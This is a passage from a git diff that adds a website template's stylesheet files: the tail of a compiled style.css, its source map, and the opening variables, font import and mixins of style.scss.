input::-ms-input-placeholder { + color: #ffffff; +} + +.info_section form input::placeholder { + color: #ffffff; +} + +.info_section form button { + width: 100%; + text-align: center; + display: inline-block; + padding: 10px 55px; + background-color: #00bbf0; + color: #ffffff; + border-radius: 0; + -webkit-transition: all 0.3s; + transition: all 0.3s; + border: none; + margin-top: 15px; +} + +.info_section form button:hover { + background-color: #007fa4; +} + +/* footer section*/ +.footer_section { + position: relative; + background-color: #ffffff; + text-align: center; +} + +.footer_section p { + color: #00204a; + padding: 25px 0; + margin: 0; +} + +.footer_section p a { + color: inherit; +} +/*# sourceMappingURL=style.css.map */ \ No newline at end of file diff --git a/css/style.css.map b/css/style.css.map new file mode 100644 index 0000000..b921ac6 --- /dev/null +++ b/css/style.css.map @@ -0,0 +1,9 @@ +{ + "version": 3, + "mappings": "AAQA,OAAO,CAAC,oHAAI;AAyBZ,AAAA,IAAI,CAAC;EAtBH,WAAW,EAAE,uBAAuB;EAwBpC,KAAK,EAAE,OAAO;EACd,gBAAgB,EAAE,OAAO;EACzB,UAAU,EAAE,MAAM;CACnB;;AAED,AAAA,eAAe,CAAC;EACd,OAAO,EAAE,MAAM;CAChB;;AAED,AAAA,gBAAgB,CAAC;EACf,OAAO,EAAE,MAAM;CAChB;;AAED,AAAA,oBAAoB,CAAC;EACnB,WAAW,EAAE,IAAI;CAClB;;AAED,AAAA,uBAAuB,CAAC;EACtB,cAAc,EAAE,IAAI;CACrB;;AAED,AAAA,mBAAmB,CAAC;EAClB,WAAW,EAAE,IAAI;CAClB;;AAED,AAAA,sBAAsB,CAAC;EACrB,cAAc,EAAE,IAAI;CACrB;;AAED,AAAA,kBAAkB,CAAC;EACjB,OAAO,EAAE,IAAI;EACb,cAAc,EAAE,MAAM;EACtB,WAAW,EAAE,UAAU;CAqBxB;;AAxBD,AAKE,kBALgB,CAKhB,EAAE,CAAC;EACD,QAAQ,EAAE,QAAQ;EAClB,WAAW,EAAE,IAAI;EACjB,aAAa,EAAE,CAAC;CAKjB;;AAbH,AAUI,kBAVc,CAKhB,EAAE,CAKA,IAAI,CAAC;EACH,KAAK,EAxEA,OAAO;CAyEb;;AAZL,AAeE,kBAfgB,CAehB,CAAC,CAAC;EACA,UAAU,EAAE,IAAI;EAChB,aAAa,EAAE,CAAC;CACjB;;AAlBH,AAoBE,kBApBgB,AAoBf,eAAe,CAAC;EACf,WAAW,EAAE,MAAM;EACnB,UAAU,EAAE,MAAM;CACnB;;AAGH,AAAA,CAAC;AACD,CAAC,AAAA,MAAM;AACP,CAAC,AAAA,MAAM,CAAC;EACN,eAAe,EAAE,IAAI;CACtB;;AAED,AAAA,CAAC,AAAA,MAAM;AACP,CAAC,AAAA,MAAM,CAAC;EACN,KAAK,EAAE,OAAO;CACf;;AAED,AAAA,IAAI;AACJ,IAAI,AAAA,MAAM,CAAC;EACT,OAAO,EAAE,eAAe;EACxB,UAAU,EAAE,IAAI;CACjB;;AAED,kBAAkB;AAClB,AAAA,UAAU,CAAC;EACT,QAAQ,EAAE,QAAQ;EAClB,UAAU,EAAE,KAAK;EACjB,OAAO,EAAE,IAAI;EACb,cAAc,EAAE,MAAM;CAwBvB;;AA5BD,AAME,UANQ,CAMR,YAAY,CAAC;EACX,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,CAAC;EACN,IAAI,EAAE,CAAC;EACP,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,OAAO,EAAE,IAAI;EACb,eAAe,EAAE,MAAM;EACvB,WAAW,EAAE,QAAQ;EACrB,QAAQ,EAAE,MAAM;EAChB,OAAO,EAAE,EAAE;CAWZ;;AA3BH,AAkBI,UAlBM,CAMR,YAAY,CAYV,WAAW,CAAC;EACV,SAAS,EAAE,IAAI;EACf,UAAU,EAAE,IAAI;CACjB;;AArBL,AAuBI,UAvBM,CAMR,YAAY,CAiBV,GAAG,CAAC;EACF,SAAS,EAAE,IAAI;EACf,UAAU,EAAE,IAAI;CACjB;;AAIL,AACE,SADO,CACP,UAAU,CAAC;EACT,UAAU,EAAE,IAAI;EAChB,UAAU,EAAE,yCAAyC;CAKtD;;AARH,AAKI,SALK,CACP,UAAU,CAIR,YAAY,CAAC;EACX,OAAO,EAAE,IAAI;CACd;;AAKL,AAAA,eAAe,CAAC;EACd,OAAO,EAAE,MAAM;CAMhB;;AAPD,AAGE,eAHa,CAGb,gBAAgB,CAAC;EACf,aAAa,EAAE,IAAI;EACnB,YAAY,EAAE,IAAI;CACnB;;AAGH,AACE,aADW,CACX,IAAI,CAAC;EACH,WAAW,EAAE,IAAI;EACjB,SAAS,EAAE,IAAI;EACf,KAAK,EAnKD,OAAO;CAoKZ;;AAGH,AAAA,qBAAqB,CAAC;EACpB,OAAO,EAAE,CAAC;CA6BX;;AA9BD,AAGE,qBAHmB,CAGnB,WAAW,CAAC;EACV,WAAW,EAAE,IAAI;CAyBlB;;AA7BH,AAOM,qBAPe,CAGnB,WAAW,CAGT,SAAS,CACP,SAAS,CAAC;EACR,OAAO,EAAE,QAAQ;EACjB,KAAK,EAhLL,OAAO;EAiLP,UAAU,EAAE,MAAM;EAClB,cAAc,EAAE,SAAS;EACzB,aAAa,EAAE,GAAG;EAClB,UAAU,EAAE,QAAQ;CACrB;;AAdP,AAkBQ,qBAlBa,CAGnB,WAAW,CAGT,SAAS,AAUN,MAAM,CAEL,SAAS,EAlBjB,qBAAqB,CAGnB,WAAW,CAGT,SAAS,AAWN,OAAO,CACN,SAAS,CAAC;EACR,KAAK,EAvLJ,OAAO;CAwLT;;AApBT,AAwBQ,qBAxBa,CAGnB,WAAW,CAGT,SAAS,AAiBN,OAAO,CACN,SAAS,CAAC;EACR,WAAW,EAAE,GAAG;CACjB;;AAMT,AAAA,qBAAqB,CAAC,eAAe,CAAC;EACpC,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,OAAO,EAAE,CAAC;EACV,MAAM,EAAE,IAAI;EACZ,KAAK,EA5MC,OAAO;CAiNd;;AAVD,AAOE,qBAPmB,CAAC,eAAe,AAOlC,MAAM,CAAC;EACN,KAAK,EA5ME,OAAO;CA6Mf;;AAGH,AAAA,qBAAqB,CAAC,eAAe,CAAC;EACpC,OAAO,EAAE,IAAI;CACd;;AAED,AAAA,qBAAqB,CAAC,eAAe,CAAC;EACpC,OAAO,EAAE,CAAC;EACV,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,UAAU,EAAE,QAAQ;CAgDrB;;AApDD,AAME,qBANmB,CAAC,eAAe,CAMnC,IAAI,CAAC;EACH,OAAO,EAAE,KAAK;EACd,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,GAAG;EACX,gBAAgB,EAjOZ,OAAO;EAkOX,MAAM,EAAE,KAAK;EACb,UAAU,EAAE,QAAQ;EACpB,QAAQ,EAAE,QAAQ;EAClB,aAAa,EAAE,GAAG;EAClB,UAAU,EAAE,QAAQ;CAkBrB;;AAjCH,AAiBI,qBAjBiB,CAAC,eAAe,CAMnC,IAAI,AAWD,QAAQ,EAjBb,qBAAqB,CAAC,eAAe,CAMnC,IAAI,AAYD,OAAO,CAAC;EACP,OAAO,EAAE,EAAE;EACX,QAAQ,EAAE,QAAQ;EAClB,IAAI,EAAE,CAAC;EACP,MAAM,EAAE,IAAI;EACZ,KAAK,EAAE,IAAI;EACX,gBAAgB,EA/Od,OAAO;EAgPT,GAAG,EAAE,KAAK;EACV,aAAa,EAAE,GAAG;EAClB,UAAU,EAAE,QAAQ;CACrB;;AA5BL,AA8BI,qBA9BiB,CAAC,eAAe,CAMnC,IAAI,AAwBD,OAAO,CAAC;EACP,GAAG,EAAE,IAAI;CACV;;AAhCL,AAmCE,qBAnCmB,CAAC,eAAe,CAmClC,AAAA,aAAC,CAAc,MAAM,AAApB,EAAsB;EACtB,SAAS,EAAE,cAAc;CAa1B;;AAjDH,AAsCI,qBAtCiB,CAAC,eAAe,CAmClC,AAAA,aAAC,CAAc,MAAM,AAApB,EAGA,IAAI,CAAC;EACH,SAAS,EAAE,aAAa;CAOzB;;AA9CL,AAyCM,qBAzCe,CAAC,eAAe,CAmClC,AAAA,aAAC,CAAc,MAAM,AAApB,EAGA,IAAI,AAGD,QAAQ,EAzCf,qBAAqB,CAAC,eAAe,CAmClC,AAAA,aAAC,CAAc,MAAM,AAApB,EAGA,IAAI,AAID,OAAO,CAAC;EACP,SAAS,EAAE,aAAa;EACxB,GAAG,EAAE,CAAC;CACP;;AASP,sBAAsB;AAEtB,oBAAoB;AACpB,AAAA,eAAe,CAAC;EACd,IAAI,EAAE,CAAC;EACP,OAAO,EAAE,IAAI;EACb,WAAW,EAAE,MAAM;EACnB,QAAQ,EAAE,QAAQ;EAClB,OAAO,EAAE,cAAc;CA4FxB;;AAjGD,AAOE,eAPa,CAOb,IAAI,CAAC;EACH,WAAW,EAAE,MAAM;CACpB;;AATH,AAWE,eAXa,CAWb,gBAAgB,CAAC;EACf,KAAK,EAAE,IAAI;EACX,QAAQ,EAAE,KAAK;CAChB;;AAdH,AAgBE,eAhBa,CAgBb,WAAW,CAAC;EACV,KAAK,EA7RE,OAAO;CA+Tf;;AAnDH,AAmBI,eAnBW,CAgBb,WAAW,CAGT,EAAE,CAAC;EACD,SAAS,EAAE,IAAI;EACf,WAAW,EAAE,IAAI;EACjB,cAAc,EAAE,SAAS;EACzB,aAAa,EAAE,IAAI;EACnB,KAAK,EAxSH,OAAO;CAySV;;AAzBL,AA2BI,eA3BW,CAgBb,WAAW,CAWT,CAAC,CAAC;EACA,KAAK,EAAE,OAAO;EACd,SAAS,EAAE,IAAI;CAChB;;AA9BL,AAgCI,eAhCW,CAgBb,WAAW,CAgBT,QAAQ,CAAC;EACP,OAAO,EAAE,IAAI;EACb,MAAM,EAAE,MAAM;EACd,UAAU,EAAE,IAAI;CAejB;;AAlDL,AAqCM,eArCS,CAgBb,WAAW,CAgBT,QAAQ,CAKN,CAAC,CAAC;EACA,MAAM,EAAE,GAAG;EACX,UAAU,EAAE,MAAM;EAClB,KAAK,EAAE,KAAK;CACb;;AAzCP,AA2CM,eA3CS,CAgBb,WAAW,CAgBT,QAAQ,CAWN,KAAK,CAAC;EA5SV,OAAO,EAAE,YAAY;EACrB,OAAO,EA4SoC,IAAI,CAAE,IAAI;EA3SrD,gBAAgB,EAdP,OAAO;EAehB,KAAK,EAlBC,OAAO;EAmBb,aAAa,EAyS0C,CAAC;EAxSxD,UAAU,EAAE,QAAQ;EACpB,MAAM,EAAE,IAAI;CAwSP;;AA7CP,AAzPE,eAyPa,CAgBb,WAAW,CAgBT,QAAQ,CAWN,KAAK,AApSR,MAAM,CAAC;EACN,gBAAgB,EAAE,OAAkC;CACrD;;AAuPH,AA+CM,eA/CS,CAgBb,WAAW,CAgBT,QAAQ,CAeN,KAAK,CAAC;EAhTV,OAAO,EAAE,YAAY;EACrB,OAAO,EAgTiC,IAAI,CAAE,IAAI;EA/SlD,gBAAgB,EAhBV,OAAO;EAiBb,KAAK,EAlBC,OAAO;EAmBb,aAAa,EA6SuC,CAAC;EA5SrD,UAAU,EAAE,QAAQ;EACpB,MAAM,EAAE,IAAI;CA4SP;;AAjDP,AAzPE,eAyPa,CAgBb,WAAW,CAgBT,QAAQ,CAeN,KAAK,AAxSR,MAAM,CAAC;EACN,gBAAgB,EAAE,KAAkC;CACrD;;AAuPH,AAqDE,eArDa,CAqDb,QAAQ,CAAC;EACP,MAAM,EAAE,MAAM;CAOf;;AA7DH,AAwDI,eAxDW,CAqDb,QAAQ,CAGN,GAAG,CAAC;EACF,KAAK,EAAE,IAAI;EACX,SAAS,EAAE,kBAAkB;CAC9B;;AAIH,UAAU,CAAV,MAAU;EACR,EAAE;IACA,SAAS,EAAE,iBAAiB;;EAG9B,GAAG;IACD,SAAS,EAAE,gBAAgB;;EAG7B,IAAI;IACF,SAAS,EAAE,iBAAiB;;;;AAzElC,AA6EE,eA7Ea,CA6Eb,oBAAoB,CAAC;EACnB,QAAQ,EAAE,KAAK;EACf,MAAM,EAAE,CAAC;EACT,eAAe,EAAE,MAAM;EACvB,WAAW,EAAE,MAAM;CAepB;;AAhGH,AAmFI,eAnFW,CA6Eb,oBAAoB,CAMlB,EAAE,CAAC;EACD,gBAAgB,EApWd,OAAO;EAqWT,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,aAAa,EAAE,IAAI;EACnB,OAAO,EAAE,CAAC;CAOX;;AA/FL,AA0FM,eA1FS,CA6Eb,oBAAoB,CAMlB,EAAE,AAOC,OAAO,CAAC;EACP,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,gBAAgB,EA1Wb,OAAO;CA2WX;;AASP,AAAA,gBAAgB,CAAC;EACf,QAAQ,EAAE,QAAQ;CAyDnB;;AA1DD,AAGE,gBAHc,CAGd,IAAI,CAAC;EACH,OAAO,EAAE,IAAI;EACb,cAAc,EAAE,MAAM;EACtB,WAAW,EAAE,MAAM;EACnB,UAAU,EAAE,MAAM;EAClB,UAAU,EAAE,IAAI;EAChB,gBAAgB,EAAE,OAAO;EACzB,OAAO,EAAE,IAAI;EACb,aAAa,EAAE,GAAG;CAoCnB;;AA/CH,AAaI,gBAbY,CAGd,IAAI,CAUF,QAAQ,CAAC;EACP,OAAO,EAAE,IAAI;EACb,eAAe,EAAE,MAAM;EACvB,WAAW,EAAE,UAAU;EACvB,KAAK,EAAE,KAAK;EACZ,SAAS,EAAE,IAAI;EACf,MAAM,EAAE,IAAI;EACZ,aAAa,EAAE,IAAI;CAOpB;;AA3BL,AAsBM,gBAtBU,CAGd,IAAI,CAUF,QAAQ,CASN,GAAG,CAAC;EACF,SAAS,EAAE,IAAI;EACf,UAAU,EAAE,IAAI;EAChB,UAAU,EAAE,QAAQ;CACrB;;AA1BP,AA8BM,gBA9BU,CAGd,IAAI,CA0BF,WAAW,CACT,EAAE,CAAC;EACD,WAAW,EAAE,IAAI;EACjB,cAAc,EAAE,SAAS;CAC1B;;AAjCP,AAqCM,gBArCU,CAGd,IAAI,CA0BF,WAAW,CAQT,CAAC,CAAC;EACA,KAAK,EAzZF,OAAO;EA0ZV,WAAW,EAAE,GAAG;CAKjB;;AA5CP,AAyCQ,gBAzCQ,CAGd,IAAI,CA0BF,WAAW,CAQT,CAAC,AAIE,MAAM,CAAC;EACN,KAAK,EA9ZJ,OAAO;CA+ZT;;AA3CT,AAiDE,gBAjDc,CAiDd,QAAQ,CAAC;EACP,OAAO,EAAE,IAAI;EACb,eAAe,EAAE,MAAM;EACvB,UAAU,EAAE,IAAI;CAKjB;;AAzDH,AAsDI,gBAtDY,CAiDd,QAAQ,CAKN,CAAC,CAAC;EA9ZJ,OAAO,EAAE,YAAY;EACrB,OAAO,EA8ZkC,IAAI,CAAE,IAAI;EA7ZnD,gBAAgB,EAdP,OAAO;EAehB,KAAK,EAlBC,OAAO;EAmBb,aAAa,EA2ZwC,CAAC;EA1ZtD,UAAU,EAAE,QAAQ;EACpB,MAAM,EAAE,IAAI;CA0ZT;;AAxDL,AAhWE,gBAgWc,CAiDd,QAAQ,CAKN,CAAC,AAtZF,MAAM,CAAC;EACN,gBAAgB,EAAE,OAAkC;CACrD;;AA6ZH,AAAA,cAAc,CAAC;EACb,gBAAgB,EAnbP,OAAO;EAobhB,KAAK,EAxbC,OAAO;CAsdd;;AAhCD,AAIE,cAJY,CAIZ,kBAAkB,CAAC;EACjB,aAAa,EAAE,IAAI;CACpB;;AANH,AAQE,cARY,CAQZ,IAAI,CAAC;EACH,WAAW,EAAE,MAAM;CACpB;;AAVH,AAaI,cAbU,CAYZ,QAAQ,CACN,GAAG,CAAC;EACF,SAAS,EAAE,IAAI;CAChB;;AAfL,AAmBI,cAnBU,CAkBZ,WAAW,CACT,EAAE,CAAC;EACD,WAAW,EAAE,IAAI;CAClB;;AArBL,AAuBI,cAvBU,CAkBZ,WAAW,CAKT,CAAC,CAAC;EACA,UAAU,EAAE,IAAI;CACjB;;AAzBL,AA2BI,cA3BU,CAkBZ,WAAW,CAST,CAAC,CAAC;EAlcJ,OAAO,EAAE,YAAY;EACrB,OAAO,EAkckC,IAAI,CAAE,IAAI;EAjcnD,gBAAgB,EAdP,OAAO;EAehB,KAAK,EAlBC,OAAO;EAmBb,aAAa,EA+bwC,GAAG;EA9bxD,UAAU,EAAE,QAAQ;EACpB,MAAM,EAAE,IAAI;EA8bR,UAAU,EAAE,IAAI;CACjB;;AA9BL,AA/ZE,cA+ZY,CAkBZ,WAAW,CAST,CAAC,AA1bF,MAAM,CAAC;EACN,gBAAgB,EAAE,OAAkC;CACrD;;AAmcH,AAEE,YAFU,CAEV,IAAI,CAAC;EACH,UAAU,EAAE,IAAI;EAChB,OAAO,EAAE,IAAI;EACb,cAAc,EAAE,MAAM;EACtB,WAAW,EAAE,MAAM;EACnB,UAAU,EAAE,MAAM;CA6BnB;;AApCH,AASI,YATQ,CAEV,IAAI,CAOF,QAAQ,CAAC;EACP,aAAa,EAAE,IAAI;EACnB,KAAK,EAAE,KAAK;EACZ,MAAM,EAAE,KAAK;EACb,SAAS,EAAE,KAAK;EAChB,UAAU,EAAE,KAAK;EACjB,aAAa,EAAE,IAAI;EACnB,MAAM,EAAE,GAAG,CAAC,KAAK,CAxeZ,OAAO;EAyeZ,OAAO,EAAE,IAAI;EACb,eAAe,EAAE,MAAM;EACvB,WAAW,EAAE,MAAM;CAOpB;;AA1BL,AAqBM,YArBM,CAEV,IAAI,CAOF,QAAQ,CAYN,GAAG,CAAC;EACF,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,IAAI,EAhfD,OAAO;CAifX;;AAzBP,AA4BI,YA5BQ,CAEV,IAAI,CA0BF,EAAE,CAAC;EACD,WAAW,EAAE,IAAI;EACjB,aAAa,EAAE,IAAI;CACpB;;AA/BL,AAiCI,YAjCQ,CAEV,IAAI,CA+BF,CAAC,CAAC;EACA,aAAa,EAAE,CAAC;CACjB;;AAnCL,AAsCE,YAtCU,CAsCV,QAAQ,CAAC;EACP,OAAO,EAAE,IAAI;EACb,eAAe,EAAE,MAAM;EACvB,UAAU,EAAE,IAAI;CAKjB;;AA9CH,AA2CI,YA3CQ,CAsCV,QAAQ,CAKN,CAAC,CAAC;EAxfJ,OAAO,EAAE,YAAY;EACrB,OAAO,EAwfkC,IAAI,CAAE,IAAI;EAvfnD,gBAAgB,EAdP,OAAO;EAehB,KAAK,EAlBC,OAAO;EAmBb,aAAa,EAqfwC,CAAC;EApftD,UAAU,EAAE,QAAQ;EACpB,MAAM,EAAE,IAAI;CAofT;;AA7CL,AArcE,YAqcU,CAsCV,QAAQ,CAKN,CAAC,AAhfF,MAAM,CAAC;EACN,gBAAgB,EAAE,OAAkC;CACrD;;AAsfH,iBAAiB;AAEjB,AAAA,aAAa,CAAC;EACZ,UAAU,EAAE,MAAM;EAClB,gBAAgB,EA/gBP,OAAO;EAghBhB,KAAK,EAphBC,OAAO;CAglBd;;AA/DD,AAKE,aALW,CAKX,kBAAkB,CAAC;EACjB,eAAe,EAAE,MAAM;CACxB;;AAPH,AASE,aATW,CASX,eAAe,CAAC;EACd,OAAO,EAAE,MAAM;CAkDhB;;AA5DH,AAYI,aAZS,CASX,eAAe,CAGb,IAAI,CAAC;EACH,OAAO,EAAE,UAAU;EACnB,aAAa,EAAE,GAAG;EAClB,QAAQ,EAAE,MAAM;EAChB,UAAU,EAAE,OAAO;EACnB,UAAU,EAAE,IAAI;EAEhB,UAAU,EAAE,4CAA0G;CAwCvH;;AA3DL,AAqBM,aArBO,CASX,eAAe,CAGb,IAAI,CASF,QAAQ,CAAC;EACP,OAAO,EAAE,IAAI;EACb,eAAe,EAAE,MAAM;EACvB,WAAW,EAAE,MAAM;CAQpB;;AAhCP,AA0BQ,aA1BK,CASX,eAAe,CAGb,IAAI,CASF,QAAQ,CAKN,GAAG,CAAC;EACF,KAAK,EAAE,KAAK;EACZ,aAAa,EAAE,IAAI;EACnB,MAAM,EAAE,GAAG,CAAC,KAAK,CA9iBnB,OAAO;CA+iBN;;AA9BT,AAkCM,aAlCO,CASX,eAAe,CAGb,IAAI,CAsBF,WAAW,CAAC;EACV,MAAM,EAAE,MAAM;CAQf;;AA3CP,AAqCQ,aArCK,CASX,eAAe,CAGb,IAAI,CAsBF,WAAW,CAGT,EAAE,CAAC;EACD,KAAK,EApjBJ,OAAO;EAqjBR,WAAW,EAAE,GAAG;EAChB,QAAQ,EAAE,QAAQ;CACnB;;AAzCT,AA6CM,aA7CO,CASX,eAAe,CAGb,IAAI,CAiCF,WAAW,CAAC;EACV,OAAO,EAAE,mBAAmB;EAC5B,OAAO,EAAE,IAAI;EACb,eAAe,EAAE,aAAa;CAU/B;;AA1DP,AAkDQ,aAlDK,CASX,eAAe,CAGb,IAAI,CAiCF,WAAW,CAKT,CAAC,CAAC;EACA,KAAK,EApkBP,OAAO;EAqkBL,SAAS,EAAE,IAAI;CAKhB;;AAzDT,AAsDU,aAtDG,CASX,eAAe,CAGb,IAAI,CAiCF,WAAW,CAKT,CAAC,AAIE,MAAM,CAAC;EACN,KAAK,EArkBN,OAAO;CAskBP;;AASX,oBAAoB;AAEpB,0BAA0B;AAE1B,AACE,eADa,CACb,kBAAkB,CAAC;EACjB,aAAa,EAAE,IAAI;CACpB;;AAHH,AAKE,eALa,CAKb,IAAI,CAAC;EACH,OAAO,EAAE,IAAI;EACb,cAAc,EAAE,MAAM;EACtB,MAAM,EAAE,IAAI;CA8Cb;;AAtDH,AAUI,eAVW,CAKb,IAAI,CAKF,QAAQ,CAAC;EACP,QAAQ,EAAE,QAAQ;EAClB,OAAO,EAAE,IAAI;EACb,eAAe,EAAE,MAAM;EACvB,WAAW,EAAE,MAAM;EACnB,KAAK,EAAE,KAAK;EACZ,aAAa,EAAE,KAAK;EACpB,WAAW,EAAE,IAAI;EACjB,QAAQ,EAAE,QAAQ;CAKnB;;AAvBL,AAoBM,eApBS,CAKb,IAAI,CAKF,QAAQ,CAUN,GAAG,CAAC;EACF,aAAa,EAAE,IAAI;CACpB;;AAtBP,AAyBI,eAzBW,CAKb,IAAI,CAoBF,UAAU,CAAC;EACT,OAAO,EAAE,IAAI;EACb,eAAe,EAAE,aAAa;CAe/B;;AA1CL,AA8BQ,eA9BO,CAKb,IAAI,CAoBF,UAAU,CAIR,YAAY,CACV,EAAE,CAAC;EACD,WAAW,EAAE,GAAG;EAChB,aAAa,EAAE,GAAG;CACnB;;AAjCT,AAmCQ,eAnCO,CAKb,IAAI,CAoBF,UAAU,CAIR,YAAY,CAMV,CAAC,CAAC;EACA,aAAa,EAAE,CAAC;EAChB,SAAS,EAAE,IAAI;EACf,SAAS,EAAE,IAAI;EACf,aAAa,EAAE,IAAI;CACpB;;AAxCT,AA4CI,eA5CW,CAKb,IAAI,CAuCF,WAAW,CAAC;EACV,gBAAgB,EAnoBd,OAAO;EAooBT,UAAU,EAAE,CAAC,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAc,mBAAO;EAC3C,OAAO,EAAE,mBAAmB;CAM7B;;AArDL,AAiDM,eAjDS,CAKb,IAAI,CAuCF,WAAW,CAKT,CAAC,CAAC;EACA,KAAK,EApoBF,OAAO;EAqoBV,aAAa,EAAE,IAAI;CACpB;;AApDP,AAyDI,eAzDW,CAwDb,aAAa,CACX,QAAQ,CAAC;EACP,OAAO,EAAE,IAAI;EACb,eAAe,EAAE,MAAM;EACvB,UAAU,EAAE,IAAI;CAiBjB;;AA7EL,AA8DM,eA9DS,CAwDb,aAAa,CACX,QAAQ,CAKN,SAAS;AA9Df,eAAe,CAwDb,aAAa,CACX,QAAQ,CAMN,SAAS,CAAC;EACR,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,gBAAgB,EAxpBhB,OAAO;EAypBP,KAAK,EAxpBL,OAAO;EAypBP,OAAO,EAAE,IAAI;EACb,MAAM,EAAE,GAAG;EACX,SAAS,EAAE,IAAI;EACf,UAAU,EAAE,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAc,mBAAO;CAK3C;;AA5EP,AAyEQ,eAzEO,CAwDb,aAAa,CACX,QAAQ,CAKN,SAAS,AAWN,MAAM;AAzEf,eAAe,CAwDb,aAAa,CACX,QAAQ,CAMN,SAAS,AAUN,MAAM,CAAC;EACN,KAAK,EA5pBJ,OAAO;CA6pBT;;AAMT,wBAAwB;AAGxB,AAAA,aAAa,CAAC;EACZ,gBAAgB,EAvqBP,OAAO;EAwqBhB,KAAK,EA5qBC,OAAO;EA6qBb,OAAO,EAAE,aAAa;CA0FvB;;AA7FD,AAKE,aALW,CAKX,EAAE,CAAC;EACD,WAAW,EAAE,GAAG;EAChB,aAAa,EAAE,IAAI;CACpB;;AARH,AAUE,aAVW,CAUX,SAAS,CAAC;EACR,aAAa,EAAE,IAAI;CACpB;;AAZH,AAeI,aAfS,CAcX,aAAa,CACX,iBAAiB,CAAC;EAChB,OAAO,EAAE,IAAI;EACb,cAAc,EAAE,MAAM;CAcvB;;AA/BL,AAmBM,aAnBO,CAcX,aAAa,CACX,iBAAiB,CAIf,CAAC,CAAC;EACA,MAAM,EAAE,KAAK;EACb,KAAK,EA/rBL,OAAO;CAwsBR;;AA9BP,AAuBQ,aAvBK,CAcX,aAAa,CACX,iBAAiB,CAIf,CAAC,CAIC,CAAC,CAAC;EACA,YAAY,EAAE,GAAG;CAClB;;AAzBT,AA2BQ,aA3BK,CAcX,aAAa,CACX,iBAAiB,CAIf,CAAC,AAQE,MAAM,CAAC;EACN,KAAK,EAnsBJ,OAAO;CAosBT;;AA7BT,AAkCE,aAlCW,CAkCX,YAAY,CAAC;EACX,OAAO,EAAE,IAAI;EACb,UAAU,EAAE,IAAI;EAChB,aAAa,EAAE,IAAI;CAepB;;AApDH,AAuCI,aAvCS,CAkCX,YAAY,CAKV,CAAC,CAAC;EACA,OAAO,EAAE,IAAI;EACb,eAAe,EAAE,MAAM;EACvB,WAAW,EAAE,MAAM;EACnB,KAAK,EArtBH,OAAO;EAstBT,aAAa,EAAE,IAAI;EACnB,YAAY,EAAE,IAAI;EAClB,SAAS,EAAE,IAAI;CAKhB;;AAnDL,AAgDM,aAhDO,CAkCX,YAAY,CAKV,CAAC,AASE,MAAM,CAAC;EACN,KAAK,EAxtBF,OAAO;CAytBX;;AAlDP,AAsDE,aAtDW,CAsDX,WAAW,CAAC;EACV,OAAO,EAAE,IAAI;EACb,cAAc,EAAE,MAAM;EACtB,SAAS,EAAE,IAAI;CAYhB;;AArEH,AA2DI,aA3DS,CAsDX,WAAW,CAKT,CAAC,CAAC;EACA,OAAO,EAAE,IAAI;EACb,WAAW,EAAE,MAAM;EACnB,aAAa,EAAE,IAAI;EACnB,KAAK,EAzuBH,OAAO;CA8uBV;;AApEL,AAiEM,aAjEO,CAsDX,WAAW,CAKT,CAAC,AAME,MAAM,CAAC;EACN,KAAK,EAzuBF,OAAO;CA0uBX;;AAnEP,AAwEI,aAxES,CAuEX,IAAI,CACF,KAAK,CAAC;EACJ,MAAM,EAAE,IAAI;EACZ,aAAa,EAAE,GAAG,CAAC,KAAK,CApvBtB,OAAO;EAqvBT,gBAAgB,EAAE,WAAW;EAC7B,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,KAAK,EAxvBH,OAAO;EAyvBT,OAAO,EAAE,IAAI;CAKd;;AApFL,AAiFM,aAjFO,CAuEX,IAAI,CACF,KAAK,AASF,aAAa,CAAC;EACb,KAAK,EA5vBL,OAAO;CA6vBR;;AAnFP,AAsFI,aAtFS,CAuEX,IAAI,CAeF,MAAM,CAAC;EACL,KAAK,EAAE,IAAI;EACX,UAAU,EAAE,MAAM;EAnvBtB,OAAO,EAAE,YAAY;EACrB,OAAO,EAmvBkC,IAAI,CAAE,IAAI;EAlvBnD,gBAAgB,EAdP,OAAO;EAehB,KAAK,EAlBC,OAAO;EAmBb,aAAa,EAgvBwC,CAAC;EA/uBtD,UAAU,EAAE,QAAQ;EACpB,MAAM,EAAE,IAAI;EA+uBR,UAAU,EAAE,IAAI;CACjB;;AA3FL,AAnpBE,aAmpBW,CAuEX,IAAI,CAeF,MAAM,AAzuBP,MAAM,CAAC;EACN,gBAAgB,EAAE,OAAkC;CACrD;;AAkvBH,mBAAmB;AAEnB,AAAA,eAAe,CAAC;EACd,QAAQ,EAAE,QAAQ;EAClB,gBAAgB,EA/wBV,OAAO;EAgxBb,UAAU,EAAE,MAAM;CAWnB;;AAdD,AAKE,eALa,CAKb,CAAC,CAAC;EACA,KAAK,EA/wBE,OAAO;EAgxBd,OAAO,EAAE,MAAM;EACf,MAAM,EAAE,CAAC;CAKV;;AAbH,AAUI,eAVW,CAKb,CAAC,CAKC,CAAC,CAAC;EACA,KAAK,EAAE,OAAO;CACf", + "sources": [ + "style.scss" + ], + "names": [], + "file": "style.css" +} \ No newline at end of file diff --git a/css/style.scss b/css/style.scss new file mode 100644 index 0000000..4eb61fe --- /dev/null +++ b/css/style.scss @@ -0,0 +1,798 @@ +$white: #ffffff; +$black: #000000; +// $primary1: #0cb1a8; +$primary1: #00bbf0; +$primary2: #00204a; +$textCol: #1f1f1f; + +// import fonts - font-family: 'Open Sans', sans-serif; +@import url("https://fonts.googleapis.com/css2?family=Lato:wght@400;700&family=Open+Sans:wght@300;400;600;700&display=swap"); + +@mixin main-font { + font-family: "Open Sans", sans-serif; +} + +@mixin hero_btn($col1, $col2, $pad1, $pad2, $bRadius) { + display: inline-block; + padding: $pad1 $pad2; + background-color: $col1; + color: $col2; + border-radius: $bRadius; + transition: all 0.3s; + border: none; + + &:hover { + background-color: darken($color: $col1, $amount: 15); + } +} + +@mixin upperBold { + text-transform: uppercase; + font-weight: bold; +} + +body 